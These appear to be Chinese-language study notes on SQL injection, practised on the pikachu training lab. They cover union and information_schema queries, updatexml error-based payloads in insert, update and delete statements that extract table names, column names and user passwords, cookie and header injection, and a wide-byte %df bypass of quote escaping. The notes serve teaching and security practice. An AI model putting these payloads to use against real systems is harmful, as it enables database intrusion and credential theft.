sql注入的一些笔记

注入分类

  • 数字型注入
select id,email from member where id=1 or 1=1 ;

-字符型注入

select id,email from member where username='vince' or 1=1 ;
  • 搜索型注入
select * from 表名 where 字段名 like ‘%(对应值)%’;
  • XX型注入
select * from 表名 where name = ('')
构造为:   XX') or 1=1#

注入提交方式

-get提交
-post提交
-cookie提交


sql注入的一些笔记_第1张图片
image.png

攻击类型

  • union注入
a' union select database(),user(),version()#%,

-information_schema注入

获取pikachu数据库的表名a' union select table_schema ,table_name from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名 a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

最后获取字段值的内容,输入:kobe'union select username ,password from users#%

  • 基于函数报错注入
    1.思路:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
    2.条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
    3.基于报错的信息获取(三个常用的用来报错的函数)
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.

4.基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

  • insert / update /delete利用操作错误获取信息

1 . insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户

进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下:

oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'

1. 爆表名

oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
sql注入的一些笔记_第2张图片
image.png
  1. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
sql注入的一些笔记_第3张图片
image.png
  1. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
sql注入的一些笔记_第4张图片
image.png

2 . update注入

' or updatexml(0,concat(0x7e,(database())),0) or'
sql注入的一些笔记_第5张图片
image.png

3 . dalete注入

delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
  • Http Header注入


    sql注入的一些笔记_第6张图片
    image.png

-Cookie注入


sql注入的一些笔记_第7张图片
image.png
  • 盲注 Boolian(布尔型) / 时间 / 报错型

-宽字节注入

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
' =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。


sql注入的一些笔记_第8张图片
image.png

sql注入的一些笔记_第9张图片
image.png

你可能感兴趣的:(sql注入的一些笔记)